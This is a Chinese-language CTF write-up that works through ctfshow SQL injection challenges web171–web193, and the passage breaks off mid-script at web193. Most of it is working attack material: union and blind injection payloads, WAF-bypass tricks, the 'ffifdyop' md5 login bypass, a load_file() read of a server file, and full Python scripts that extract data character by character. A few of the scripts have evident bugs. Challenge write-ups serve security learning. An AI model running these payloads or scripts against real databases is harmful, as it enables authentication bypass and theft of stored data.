sql注入刷题

把之前做过的一些sql注入的题重新做一遍,边做边记录边思考。

ctfshow

web171

1
$sql = "select username,password from user where username !='flag' and id = '".$_GET['id']."' limit 1;";

直接给了sql语句,这里我们想办法让它恒真把整张表所有的数据输出来就行了。没有任何过滤,可以用注释符#直接注释掉。

payload : 1' or 1%23, 在username为flag字段对应的password里面找到flag。注意这里我直接用#不行,换了url编码就好了。 做题的时候可以都试一下,**#不行不一定是把#过滤了,试试%23看行不行**。

当然--+ 也可以起到注释的作用

web172

解法一

查询语句:

1
$sql = "select username,password from ctfshow_user2 where username !='flag' and id = '".$_GET['id']."' limit 1;";

返回逻辑:

1
2
3
4
5
6
//检查结果是否有flag
if($row->username!=='flag')
{
$ret['msg']='查询成功';
}

这个题目对比71题就是多了一个返回内容的校验。

因为有回显位,其实我们可以用union 联合注入来做,最终的payload:

payload1:-1'union select 1,password from ctfshow_user2 where username='flag'%23

payload2:-1'union select 1,group_concat(password)from ctfshow_user2 %23

联合注入的流程:

1
2
3
4
1.oder by 来试探有几列:
2.依次 1'order by 1 , 1'order by 2 , 1'order by 3 , 发现 3的时候是报错的。说明有两列。
3.-1'union select 1,2%23,来看回显位在哪里。
4.找到回显位之后就是依次暴库,爆表,爆字段,爆值
1
2
3
4
-1' union select 1,database()%23 //数据库名 比如这里为 ctfshow_web
-1'union select 1,group_concat(table_name) from information_schema.tables where table_schema='ctfshow_web'%23 //爆表名 //爆该数据库下的表名
-1'union select 1,group_concat(column_name) from information_schema.columns where table_name='ctfshow_user2'%23//爆表下面的字段名
-1'union select 1,group_concat(password)from ctfshow_user2 //爆字段的值

反思

做这个题刚开始犯错的地方:

1.可以用group_concat来连接,直接显示在一起。

2.爆字段名的时候,我把column_name写成了column_table

3.这个题目已经把sql语句给出了,表名也直接告诉我们了,就省略了库名和表名的获取,甚至字段名都告诉我们了,有username和password。

解法二

1'and 1%231'and 0%23 回显是不一样的,所以可以用布尔盲注。

脚本如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
import  requests
#url="http://68c27803-c8cb-44b9-b9f9-b88a8cb1dbea.challenge.ctf.show/api/v2.php?id=1'and if(substr(database(),{},1)='{}',1,0)%23"
url="http://d575b8db-341f-4579-90c7-66f74d93bd7c.challenge.ctf.show/api/v2.php?id=1'and if(substr((select group_concat(table_name) from information_schema.tables where table_schema='ctfshow_web'),{},1)='{}',1,0)%23"
dicts="abcdefghijklmnopqrstuvwxyz0123456789_="
database=''
for i in range(1,20):
for j in dicts:
data=url.format(i,j)
print(data)
res=requests.get(data)
if "admin" in res.text:
database+=j
print(database)
break
print(database)

当然这里的很多地方都是可以改的。包括算法上面的优化(二分法),后面的盲注题目那里会归纳一下。

反思

1.一开始用requests.get(url)的时候一直在报错,后面调了下才发现是https:的问题,改成http 就可以了。

2.传参点不好找,那就抓包去看一下,可以发现/api/v2.php?id=xxx

解法三

这里的解法三其实和解法一本质上是一样的,多的是一个编码的操作,看payload:

-1' union select hex(username),hex(password)from ctfshow_user2--+

-1' union select to_base64(username),to_base64(password)from ctfshow_user2--+

反思

这个题目其实不编码也能出,不过这种编码来绕过的思想应该去掌握。

web173

和web172差不多,回显位变成了三位。payload:-1'union select 1,2,group_concat(password)from ctfshow_user3--+

不赘述。

web174

一开始以为是和上面思路差不多,只是在返回的时候加了一些对flag的检查。但这里其实是没有回显到页面上的。不能用联合注入,

错了,错了。

1
2
3
4
//检查结果是否有flag
if(!preg_match('/flag|[0-9]/i', json_encode($ret))){
$ret['msg']='查询成功';
}

这个题目才是真正的对回显的数据整体做了过滤,之前那三道环境只是对username字段的返回值作了过滤。有点问题,导致以为过滤没用。。。这里就是回显的内容里面带有flag或者数字都不行,而很显然flag是带数字的。所以得想办法绕过。

解法一

可以用盲注,因为盲注是不会回显到页面上的。所以直接一整个绕过了。但是这里如果直接用我在web172写的脚本,跑的会很慢。。。

所以用二分法。其实二分法就是一个板子。需要替换的是我们写的payload:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
import requests
url = "http://c6903216-a242-458e-a9ba-b03057f7ea53.challenge.ctf.show/api/v4.php?id=1'and "
result = ''
i = 0
while True:
i = i + 1
head = 32
tail = 127
while head < tail:
mid = (head + tail) >> 1
payload = f'if(ascii(substr((select group_concat(password) from ctfshow_user4 ),{i},1))>{mid},1,0) --+'
r = requests.get(url + payload)
if "admin" in r.text:
head = mid + 1
else:
tail = mid
if head != 32:
result += chr(head)
else:
break
print(result)

参考的y4大佬的板子,这里的payload我们根据实际情况去替换。过滤了哪些,找到等效的可以去替换的就可以绕过。比如这里的ascii可以换成ord,后面专门出一块来谈谈过滤。

反思

1.这里的payload也记得要加上group_concat 不然会报错。

2.这里后面我们知道flag是在第24行,我们可以把payload改成: payload = f'if(ascii(substr((select group_concat(password) from ctfshow_user4 limit 24,1),{i},1))>{mid},1,0) --+'

解法二

这个思路也是挺有意思,不是不让出现数字和flag吗,我们可以把数字替换成小写字母,这样回显页面上的数据就是正常的。

用到的一个函数为:replace(strings,str1,str2) : 把 strings中出现str1的地方替换成str2

demo:

-1'union select 'a',replace(replace(replace('flag','a','b'),'f','a'),'g','m')--+

递归来看,把flag里面出现a的地方替换成b,然后再次基础上把f替换成a,依次类推…..

但现在有个问题,就是原来的flag里面也有可能本身就存在小写字母,这样你就无法区分这个小写字母是我们替换而来的还是本身就有的。这个时候可以用hex()来转一下,mysql语句中,hex得到的字母都是大写的,这样就可以规避了。

-1' union select 'a',replace(replace(replace(replace(replace(replace(replace(replace(replace(replace(hex(password),0,'b'),1,'c'),2,'d'),3,'e'),4,'h'),5,'i'),6,'j'),7,'m'),8,'n'),9,'o') from ctfshow_user4 where username='flag'--+

得到:jemhjjmejnjFmmmBedeieceieiebeeehdDejjienendDehjcenendDeoehjiendDjjebejedjiedeijeebeieneemD

然后逆过程,把对应的小写字母换成数字:63746673686F777B32353135353033342D366538382D346138382D393465382D6630363265323563303538337D

然后丢到cyberchef里面16进制转一下字符:ctfshow{25155034-6e88-4a88-94e8-f062e25c0583}

web175

解法一

这个题目在上一个题目的基础上,对回显内容的判断更为严苛了:

1
2
3
if(!preg_match('/[\x00-\x7f]/i', json_encode($ret))){
$ret['msg']='查询成功';
}

ascii表上的0-127都不能出现,基本上是过滤掉了所有可见字符。

所以我们会发现布尔盲注用不了了,因为?id=1'and 1--+ 以及?id=1'and 0 --+ 返回的结果是一样的。但是这里我们可以以时间来创造出一个条件来,根据响应的时间来做判断条件。

demo: ?id=1'and if(substr(database(),1,1)='c',sleep(1),1)--+

我们根据延时来判断条件是否满足。经过测试发现是可以的。

把web174二分法布尔盲注的脚本稍微改下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
import requests
import time
import datetime
url = "http://0fc6f65a-8908-4fd3-8819-623c7eaaba3c.challenge.ctf.show/api/v5.php?id=1' and "
result = ''
i = 0
while True:
i = i + 1
head = 32
tail = 127
while head < tail:
mid = (head + tail) >> 1
payload = f'if(ascii(substr((select group_concat(password) from ctfshow_user5 where username="flag"),{i},1))>{mid},sleep(1),1) --+'
t1=datetime.datetime.now()
r = requests.get(url + payload)
t2=datetime.datetime.now()
if (t2-t1).seconds > 0.5:
head = mid + 1
else:
tail = mid
if head != 32:
result += chr(head)
else:
break
print(result)

反思

1.这里首先第一个是(t2-t1).seconds 这个写法需要注意。

2.然后就是payload里面要加group_concat() 不然会报错,导致跑不出来,

3.第三个,因为时间盲注比较消耗时间,加上password字段对应的值有很多,所以这里我加了where username='admin' 来做筛选。

web176

解法一

只是查询的时候对username=”flag”的数据做了限制,但是没有对返回显示的数据做限制,所以我们可以直接用或的语句去连接,虽然where username!=’flag’ 这个语句使得flag那一行没出来,但是 or 1 这个语句 ,把所有的数据都显示在页面上。

?id=-1'or 1--+

解法二

手动去fuzz下可以发现select、group_concat啥的被过滤了。所以这里可以就不用select了,直接从password字段里面去读数据。

这里我搞错了,虽然对select做了过滤,但是没有很严格区分大小写过滤,所以可以大写Select过滤,而这个题目仅仅只是对select做了一个过滤,没有区分大小写,所以我们可以大写绕过去。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
import requests
url = "http://db16cc73-7180-4824-9e2a-9cc890fe17ed.challenge.ctf.show/api/?id=1'and "
result = ''
i = 0
while True:
i = i + 1
head = 32
tail = 127
while head < tail:
mid = (head + tail) >> 1
payload = f'if(ascii(substr((Select group_concat(password) from ctfshow_user where username="flag"),{i},1))>{mid},1,0) --+'
r = requests.get(url + payload)
print(url+payload)
if "admin" in r.text:
head = mid + 1
else:
tail = mid
if head != 32:
result += chr(head)
else:
break
print(result)

反思

1.绕过的时候,先考虑有没有可能关键字没有被完全过滤?比如后台逻辑是替换,我们可以双写去绕过。后台逻辑没有区分大小写,我们可以大小写绕过。然后这些都不行,再去考虑换别的关键词。而不是一上来我们就以为select完全用不了了。

2.直接加group_concat(password),这种语法是错的,得带上select group_concat(password) from xxx ,完整的一个句子。

3.substr((select xx),1,1),记住套括号,直接 substr(select database(),1,1),这样是不太行的,得用个括号把select database套起来。

web177

解法一

在上题web176基础上,把空格过滤了。但是万能密码可以直接注出来。

payload: ?id=1'or(1)%23

解法二

过滤了空格,我们可以用/**/、()、来平替。脚本如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
import requests
url = "http://1f8cf4dd-8308-41a9-85ab-60fc6b3036ba.challenge.ctf.show/api/?id=1'and/**/"
result = ''
i = 0
while True:
i = i + 1
head = 32
tail = 127
while head < tail:
mid = (head + tail) >> 1
payload = f'if(ascii(substr((Select/**/group_concat(password)/**/from/**/ctfshow_user/**/where/**/username="flag"),{i},1))>{mid},1,0)%23'
r = requests.get(url + payload)
print(url+payload)
if "admin" in r.text:
head = mid + 1
else:
tail = mid
if head != 32:
result += chr(head)
else:
break
print(result)

反思

这个题目整体下来,一开始是知道过滤了空格,但是出了点问题导致没做出来。原因是因为我这里用的() 来绕过空格的,即(select)database(),其实这种用法是有点问题的,可能会有语法的报错。所以还是用的是select/**/database(),这种结构来bypass掉空格。

解法三

union联合注入也是可以的奥。

web178

解法一

还是可以万能密码直接梭。?id=1'or(1)%23

解法二

这个题目还是过滤掉了空格,在此基础上/**/也用不了了。所以这里用的是%09 ,其实剩下的都是一样的套路了。

贴上脚本:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
import requests
url = "http://9eed38bd-0303-4c2a-9163-6e840ddf65bd.challenge.ctf.show/api/?id=1'and%09"
result = ''
i = 0
while True:
i = i + 1
head = 32
tail = 127
while head < tail:
mid = (head + tail) >> 1
payload = f'if(ascii(substr((Select%09group_concat(password)%09from%09ctfshow_user%09where%09username="flag"),{i},1))>{mid},1,0)%23'
r = requests.get(url + payload)
print(url+payload)
if "admin" in r.text:
head = mid + 1
else:
tail = mid
if head != 32:
result += chr(head)
else:
break
print(result)

解法三

依然可以用union联合注入:

payload:?id=-1'union%09select%091,2,3%23,板子在这里,后面的就是根据这个去改。

web179

解法一

依然可以万能密码直接梭:?id=1'(or)1%23

解法二

过滤了空格,/**/、%09、 都用不了,但是可以尝试%0a、%0b、%0c、%0d去绕过

这里经过测试,%0c是可以绕过的,剩下的脚本方法和上面是一样的。

反思

这里其实可以fuzz一下,想起最开始20年参加的那次国赛,当时有个题目,就是空格那里过不去,其实可以写个脚本去fuzz,根据回显来判断哪些是可以用的:

比如这里可以?id=1'and$X$1%23 ,这里的$X$ 可以换成我们用来fuzz的字符。通过回显有admin。来判断是否成功。

web180

解法一

#、%23 用不了,这里可以用--+,不过这里的空格被过滤了,经过测试,发现%0c可以用。

payload: ?id=1'||1--%0c

其他方式同上,就是换了个字符的问题。

web181

解法一

1
2
3
4
5
//对传入的参数进行了过滤
function waf($str){
return preg_match('/ |\*|\x09|\x0a|\x0b|\x0c|\x00|\x0d|\xa0|\x23|\#|file|into|select/i', $str);
}

其实这里咋一看,啥都给过滤了,很多都用不了,但是,经过测试发现%0c还是可以代替空格来用的。

payload:?id=1'or(1)--%0c,因为这里的#和%23 都被过滤了,所以用的 --%0c

解法二

这个解法建立在我们知道username为flag那一行对应的id字段的值是26的情况下:

payload:?id=-1'or(id=26)and'1'='1 。 这种写法就是没有去使用注释符,用引号去闭合。当然这里是用()来做隔开,起到空格的效果,也可以换成?id=-1'or%0cid=26%0cand'1'='1'。同时要注意前面为啥用的-1,因为后面有个limit 1。限制只能输出一行。

其实哪怕不知道id也没事,只要能判断出flag是在某个id下,我们可以简单写个脚本来遍历一下id:

1
2
3
4
5
6
7
import  requests
url="http://ff6f89e7-0fa6-4da6-b589-312279425b2c.challenge.ctf.show/api/?id=-1'or(id={})and'1"
for i in range(1,30):
res = requests.get(url.format(i))
if "ctfshow" in res.text:
print(i)
print(res.text)

解法三及其他

payload: -1’orusername=’flag’and’1 //注意这里显示的问题,username这个字段是加了反引号的。注意一下这种用法。不加反引号其实也行。只不过用括号隔开:-1'or(username)='flag'and'1

payload:?id=-1'or(username)like('flag')and'1 注意这里的like是全部匹配上才行。并且flag要带上引号。

payload:?id=-1'or(username)regexp('fl')and'1 regexp就不需要完全匹配。

反思

1.题目哪怕告诉我们一些字符串被过滤了,但我们仍然可以尝试一下,根据实际环境来判断是否真的被过滤。比如这里的%0c其实就还可以用。

2.注释符被过滤,# %23 --+ --%0c --%09 --%0a --%0b --%0d 这些可以换着用,当然如果都被过滤了,其实可以考虑不用注释符呗,用引号去闭合。

web182

web183

旧题新做,产生了新的体会。

先说说思路:

查询语句:$sql = "select count(pass) from ".$_POST['tableName'].";";

WAF:'/ |\*|\x09|\x0a|\x0b|\x0c|\x0d|\xa0|\x00|\#|\x23|file|\=|or|\x7c|select|and|flag|into

回显结果:$user_count = 0;

这里我们能利用的前提是知道flag是藏在pass字段里面的,并且flag的格式是ctfshow{},在这个基础上我们来写利用

先看一个demo:select count(pass) from ctfshow_user where pass regexp 'ctfshow',是返回1的,前面的count(pass)代表字段数,后面跟个where代表符合该条件的字段数。为1,则代表pass字段中值以ctfshow开头的只有一个。

select count(pass) from ctfshow_user where pass regexp 'ctfshow{'也是返回1的,但是如果你 regexp ctfshow1 很显然就是返回0了。所以我们根据这个特点就可以去写脚本:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
import requests
url = 'http://42d2554a-8788-4113-be14-fade50687eb6.challenge.ctf.show/select-waf.php'
strs = r"{flqazwsxedcrvtgbyhnujmikolp-0123456789}"
res = ""
str="ctfshow"
print("the second way")
for i in range(8, 46): #ctfshow ,所以第8位是从{ 开始 。
for j in flagstr:
data = {
#'tableName': "(ctfshow_user)where(pass)regexp'{}'".format(str+j)
'tableName': "(ctfshow_user)where(pass)like'{}%'".format(str + j)
}
r = requests.post(url, data=data)
if r.text.find("$user_count = 1;") > 0:
str += j
print(str)
break

这里的strs=r"",这个r得写,代表转义,不然你直接regexp 'ctfshow{' 会报错的。在mysql后台测试直接regexp'ctfshow{'会报错,而regexp 'ctfshow\\{' 不会。因为转义了。

这里regexp'xx' like 'xx%' 是等效的。

反思

这个题目真得好好反思下,对SQL语句语法还是不熟悉导致利用不当。

1.比如一开始我一直在想能不能 ctfshow_user" &&"1 这种语法就很奇怪,代入进去其实就是select count(pass) from ctfshow_user && 1 很显然是个错误语法,当然 || 或者 or 1也是一样,

我们在使用or and 这种逻辑时候,前面得有一些条件语句的,比如where 。这里如果我这样写:select count(pass) from ctfshow_user where pass regexp 'ctfshow' or 1 这样语法就是正确的,不会报错。

2.看到网上有这样的利用,我个人是没想明白的:

1
2
3
4
5
6
7
for i in range (1,46):
for j in strs:
data={"tableName":"(ctfshow_user)where(substr(pass,{},1)regexp{})".format(i,j)}
if r.text.find("$user_count = 1;") > 0:
flag+=j
print(flag)
break

大概demo就是这样,这个是一位一位去匹配的,这样感觉是不太科学的,比如:

pass
ctfshow{487596-s4dg-96klf}
ca
d
123444444444
s

那么这个输出就很看你的字典了。如果你字典顺序为1dxxx,那么第一个输出的就是1,如果你是d1xxx,那么输出的就是d。

3.这个题目一开始拿到就一直想着来盲注,确实是盲注,但是我思路一直停留在and or if 啥的然后结合引号闭合啥的去创造盲注的条件,但其实where本身就是一个条件语句。这里也没有把where过滤掉,我们可以直接用where 。思路还是太单一和局限了。

web184

在183的基础上过滤了:preg_match('/\*|\x09|\x0a|\x0b|\x0c|\0x0d|\xa0|\x00|\#|\x23|file|\=|or|\x7c|select|and|flag|into|where|\x26|\'|\"|union|\|sleep|benchmark/i’)`

解法一

过滤的更为严苛了,where,引号啥的都不让用了,没有啥思路,看了writeup发现可以利用right join 来注入。

关于right join的介绍,网上找了些相关资料,这里搬运下(侵权可删)

1
2
3
join(inner join)内连接,如果表中至少有一行匹配,则返回行。(table1和table2的交集)
left join 左连接,会返回左表中所有的行,即使右表中没有匹配。
right join 右连接,会返回右表中所有的行,即使左表中没有匹配。

这个题目可以用右连接,然后用on来做逻辑条件,来实现我们的盲注,可以本地起一个demo看下:

ctfshow184

可以看这样是可以的,改下脚本的payload就可以跑了:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
import requests
url = 'http://0b1ba05a-0178-464a-9ed2-706fa5f9096c.challenge.ctf.show/select-waf.php'
flagstr = r"{flqazwsx-0123456789edcrvtgbyhnujmikolp}"
res = ""
start="ctfshow"
def str2hex(s):
strs=''
for i in s:
m=hex(ord(i))
strs+=str(m[2:])
return strs
for i in range(8, 46): #ctfshow ,所以第8位是从{ 开始 。
for j in flagstr:
data = {
#'tableName': "(ctfshow_user)where(pass)regexp'{}'".format(str+j)
'tableName': "ctfshow_user as a right join ctfshow_user as b on b.pass regexp 0x{}".format(str2hex(start+j))

}
r = requests.post(url, data=data)
if r.text.find("$user_count = 43;") > 0:
start += j
print(start)
break

print(start)

加了一个简单的字符转16进制的代码。

解法二

也是找where的等效替换,一开始通过百度查到group by xxxx having xxxx 的这种用法,但是昨天试的时候不行,今天试着又行了,估计是哪里弄错了。

select count(*) from ctfshow_user where pass regexp 'c';

select count(*) from ctfshow_user group by pass having pass regexp 'c'; 效果是一样的:

web184

所以我们的payload可以换一下,然后对应的脚本:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
import requests
url = 'http://cf71d4d2-2b5f-41b0-8d2c-bf7e3db392b8.challenge.ctf.show/select-waf.php'
flagstr = r"{flqazwsx-0123456789edcrvtgbyhnujmikolp}"
res = ""
start="ctfshow"
def str2hex(s):
strs=''
for i in s:
m=hex(ord(i))
strs+=str(m[2:])
return strs
for i in range(8, 46): #ctfshow ,所以第8位是从{ 开始 。
for j in flagstr:
data = {
#'tableName': "(ctfshow_user)where(pass)regexp'{}'".format(str+j)
'tableName': "ctfshow_user group by pass having pass regexp 0x{}".format(str2hex(start+j))

}
r = requests.post(url, data=data)
if r.text.find("$user_count = 1;") > 0:
start += j
print(start)
break

print(start)

也是能够成功跑出来的。

web185

解法一

这个题目把数字过滤了,看了下也没撒思路,看了大佬的博客,发现数字有一种替代的方式:

1
2
3
4
5
6
7
8
9
10
11
利用 true,pi(),floor(),ceil(),version()这些元素去拼凑出数字。
true 或者 !!pi() 1
true+true 2
floor(pi()) 3
ceil(pi()) 4
floor(version()) 5
ceil(version()) 6
ceil(pi()+pi()) 7
floor(version()+pi()) 8
floor(pi()*pi()) 9
ceil(pi()*pi()) 10

然后试着写了一下利用的payload:

web185

可以看到回显的, 利用mysql语言的concat()结合char()来拼接,可以绕过引号的过滤。但是这样脚本其实不好写,因为每增加一位,我们 regexp 匹配的就会长一位,concat这个函数就会有变化,会多一个char()。实现起来很困难,(其实一点也不困难)看了大哥们的脚本瞬间豁然开朗,在他们的基础上做了一些脚本上面的优化,在createnumcreatestr的实现上显得更简洁一些。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
import requests
def createnum(n):
num='true+'*n
return num[:-1]
def createstr(res):
strs=''
for s in res:
ords=ord(s)
ords=createnum(ords)
strs=strs+'char({}),'.format(ords)
return strs[:-1]

url = 'http://01d38cdf-4bbf-4295-a849-f38296522df5.challenge.ctf.show/select-waf.php'
flagstr = r"{flqazwsx-0123456789edcrvtgbyhnujmikolp}"
res = ""
start="ctfshow"

for i in range(8, 46): #ctfshow ,所以第8位是从{ 开始 。
for j in flagstr:
data = {
#'tableName': "(ctfshow_user)where(pass)regexp'{}'".format(str+j)
'tableName': "ctfshow_user group by pass having pass regexp concat({})".format(createstr(start+j)),

}
r = requests.post(url, data=data)
if r.text.find("$user_count = 1;") > 0:
start += j
print(start)
break
print(start)

能够成功跑出。

解法二

当然这里换成right join 也是一样的效果。改下payload和判断条件就行:

'tableName': "ctfshow_user as a right join ctfshow_user as b on b.pass regexp concat({})".format(createstr(start + j))

if r.text.find("$user_count = 43;") > 0:

反思

有了思路之后还是很久没有打通,耗了很久。最后听一个师傅说可能是编码的问题,hackbar上URL编码之后才传过去通了。这里很奇怪不知道为啥需要编码一下,当时抓包的时候改了编码的也发现不行。后面分别在hackbar上进行url编码和不进行URL编码,把数据发送过去,然后抓包看到效果图如下:

sql185 1

这个是我们编码之后传过去的,可以看到+和%2B是做了区分的,这里+会在bp里面解析成空格。

sql185 2

这个是我们没有编码的,可以看到+是没有做区分的,这样很显然会有歧义,无法得知+是空格还是运算符。

所以得出结论,需要编码一下。

web186

1
2
3
function waf($str){
return preg_match('/\*|\x09|\x0a|\x0b|\x0c|\0x0d|\xa0|\%|\<|\>|\^|\x00|\#|\x23|[0-9]|file|\=|or|\x7c|select|and|flag|into|where|\x26|\'|\"|union|\`|sleep|benchmark/i', $str);
}

在185的基础上过滤了%、>、<、^ 等一些符号。其实对我们185的脚本没啥影响,还是可以直接写。

web187

1
2
3
4
5
6
7
8
9
10
查询语句:
$sql = "select count(*) from ctfshow_user where username = '$username' and password= '$password'";
返回逻辑:
$username = $_POST['username'];
$password = md5($_POST['password'],true);
//只有admin可以获得flag
if($username!='admin'){
$ret['msg']='用户名不存在';
die(json_encode($ret));
}

1.为什么不能直接传username=admin'%23 因为底下有个校验逻辑,必须 username == admin 才给返回内容。哪怕这里不做任何过滤,你能带入到SQL语句里面执行,但这里是不以SQL语句执行为真为返回条件的。

2.这里注意,他其实带入SQL语句的是md5($password,true) 。所以我们只要找到一个字符串,他在进行md5,参数为true加密后,能够得到类似于'or'xxxx 这里开头的x一定要是以数字1-9开头。保证非0,然后条件为恒真。

3.登录得到的flag得通过抓包来看,这个其实也是一个经验和套路。

password字段我们传入ffifdyop,加密之后就是'or'6�]��!r,��b

web188

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
//拼接sql语句查找指定ID用户
$sql = "select pass from ctfshow_user where username = {$username}";
//用户名检测
if(preg_match('/and|or|select|from|where|union|join|sleep|benchmark|,|\(|\)|\'|\"/i', $username)){
$ret['msg']='用户名非法';
die(json_encode($ret));
}

//密码检测
if(!is_numeric($password)){
$ret['msg']='密码只能为数字';
die(json_encode($ret));
}

//密码判断
if($row['pass']==intval($password)){
$ret['msg']='登陆成功';
array_push($ret['data'], array('flag'=>$flag));
}

看了眼,没啥思路,这题目考察的也是一种特性。

1.select * from ctfshow_user where username = 0 会得到所有行。

2.首字母非数字字符串和数字0 弱比较结果为真。

3.$row['pass']对应 string类型 这题查询出来的应该是只有一行。

payload1: username=0&password=0

payload2:username=1||1&password=0

web189

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
$sql = "select pass from ctfshow_user where username = {$username}";
//用户名检测
if(preg_match('/select|and| |\*|\x09|\x0a|\x0b|\x0c|\x0d|\xa0|\x00|\x26|\x7c|or|into|from|where|join|sleep|benchmark/i', $username)){
$ret['msg']='用户名非法';
die(json_encode($ret));
}
//密码检测
if(!is_numeric($password)){
$ret['msg']='密码只能为数字';
die(json_encode($ret));
}
//密码判断
if($row['pass']==$password){
$ret['msg']='登陆成功';
}

$sql语句的话可以发现算是数字型的注入,不需要用{ } 之类的来闭合。

这个题整个夺旗的思路是这样的,不是让你去读pass的值,而是告诉你了 flag是在/var/www/html/api/index.php 里面。你去读。

所以分两步:

1.先找到flag值在/var/www/html/api/index.php的位置,利用locate函数

2.然后再去盲注出flag的值。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
import requests
url = "http://3893bca0-4d38-4e4f-a333-99de32ea852b.challenge.ctf.show/api/"
def getflagindex():
head = 1
tail = 300
while head < tail:
mid = (head + tail) >> 1
payload = f'if(locate("ctfshow",load_file("/var/www/html/api/index.php"))>{mid},0,1)'
print(payload)
data = {"username": payload, "password": 1}
r = requests.post(url, data=data)
print(r.text)
if "密码错误" == r.json()['msg']:
head = mid + 1
print(123)
else:
tail = mid
return mid
def getflag(num):
i = int(num)
result = ''
while True:
i = i + 1
head = 32
tail = 127
while head < tail:
mid = (head + tail) >> 1
payload = f'if(ascii(substr(load_file("/var/www/html/api/index.php"),{i},1))>{mid},0,1)'
data = {"username": payload, "password": 0}
r = requests.post(url, data=data)
# if "\u5bc6\u7801\u9519\u8bef" in r.text:
# head = mid + 1
if "密码错误" ==r.json()['msg']:
head = mid + 1
else:
tail = mid
if head != 32:
result += chr(head)
else:
break
print(result)
#\u67e5\u8be2\u5931\u8d25 查询错误
#\u5bc6\u7801\u9519\u8bef 密码错误
if __name__ == '__main__':
m=getflagindex()
print(getflag(m))

反思

1.这个题目一开始就没想到去读文件,题目提示flag在api/index.php文件中,没有get到这个意思,后面看了大佬的题解才发现原来是利用select load_file('/var/www/html/api/index.php') 去读文件的内容。

2.第二个点其实就是这个判断逻辑里面:

if "\u5bc6\u7801\u9519\u8bef" in r.text ,这个是有问题的,应该写成 if "密码错误" == r.json()['msg']:这种格式。

3核心语句就两条,剩下的就是套盲注的板子,不过这里注意写法,找flag位置盲注脚本和最后注字符的内容稍微有些不一样:.

3.1找flag位置:username=if(locate("ctfshow",load_file('/var/www/html/api/index.php'))>{},0,1)&password=1

3.2注出flag的内容: username=if(ascii(substr(load_file("/var/www/html/api/index.php"),{},1))>{},0,1)&password=1

4.hackbar 发送payload过去的时候,注意编码的问题。

5where username=if(xxxx,0,1).这种语法肯定是可以的,if函数返回值赋值给username

web190

盲注的板子,这里没有任何过滤,所以思路可以有很多。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
import requests
url = "http://e2d08e2f-f766-4222-b77f-e7cf2adff845.challenge.ctf.show/api/index.php"
result = ''
i = 0
while True:
i = i + 1
head = 32
tail = 127
while head < tail:
mid = (head + tail) >> 1
payload1 = f"admin'and if(ascii(substr((select database()),{i},1))>{mid},1,0)#" #注入得出ctfshow_web
payload2 = f"admin'and if(ascii(substr((select group_concat(table_name)from information_schema.tables where table_schema=database()),{i},1))>{mid},1,0)#"
payload3= f"admin'and if(ascii(substr((select group_concat(column_name)from information_schema.columns where table_name='ctfshow_fl0g'),{i},1))>{mid},1,0)#"
payload4= f"admin'and if(ascii(substr((select group_concat(f1ag) from ctfshow_fl0g ),{i},1))>{mid},1,0)#"
data={"username":payload4,"password":1}
r=requests.post(url,data=data)
if "密码错误" in r.json()['msg']:
head = mid + 1
else:
tail = mid
if head != 32:
result += chr(head)
else:
break
print(result)

web191

过滤了ascii、file 、into,把web190的脚本的ascii替换成ord即可。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
import requests
url = "http://3b815fb2-5e67-4602-82b0-192049b85e83.challenge.ctf.show/api/index.php"
result = ''
i = 0
while True:
i = i + 1
head = 32
tail = 127
while head < tail:
mid = (head + tail) >> 1
payload1 = f"admin'and if(ord(substr((select database()),{i},1))>{mid},1,0)#" #注入得出ctfshow_web
payload2 = f"admin'and if(ord(substr((select group_concat(table_name)from information_schema.tables where table_schema=database()),{i},1))>{mid},1,0)#"
payload3= f"admin'and if(ord(substr((select group_concat(column_name)from information_schema.columns where table_name='ctfshow_fl0g'),{i},1))>{mid},1,0)#"
payload4= f"admin'and if(ord(substr((select group_concat(f1ag) from ctfshow_fl0g ),{i},1))>{mid},1,0)#"
data={"username":payload4,"password":1}
r=requests.post(url,data=data)
if "密码错误" in r.json()['msg']:
head = mid + 1
else:
tail = mid
if head != 32:
result += chr(head)
else:
break
print(result)

web192

在191的基础上ord也过滤了,直接字符串比较也行,但是会出现一些bug。盲注这一块暂时没有啥好的思路,试试双重for循环来爆破:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
#web192
url="http://ba2d986e-c147-4325-9683-072970e42d36.challenge.ctf.show/api/index.php"
dicts=r'abcdefghijklmnopqrstuvwxyz-+_{}1234567890ABCDEFGHIJKLMNOPQRSTUVWXYZ'
flag=''
for i in range(1,20):
for j in dicts:
payload="admin'and if(substr(database(),{},1)='{}',1,0)#".format(i,j)
data={"username":payload,"password":1}
res=requests.post(url,data=data)
if "密码错误" == res.json()['msg']:
flag+=j
print(flag)
break
print(flag)

板子大概就是这样,测试可行。

web193

过滤的内容:/file|into|ascii|ord|hex|substr/i

substr用不了了,那就直接regexp ,或者 like

板子1:admin'and if(((select database()) regexp '^ct'),1,0)#

或者直接板子2:admin'and (select database())regexp "^ct"#

或者板子3:admin'and(select database())like'{}%'

上脚本:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15

url="http://6b47263d-e911-4ac6-8b3d-8df962d1ebd2.challenge.ctf.show/api/index.php"
dicts=r'abcdefghijklmnopqrstuvwxyz-+_{}1234567890ABCDEFGHIJKLMNOPQRSTUVWXYZ'
flag='ctf'
for i in range(1,20):
for j in dicts:
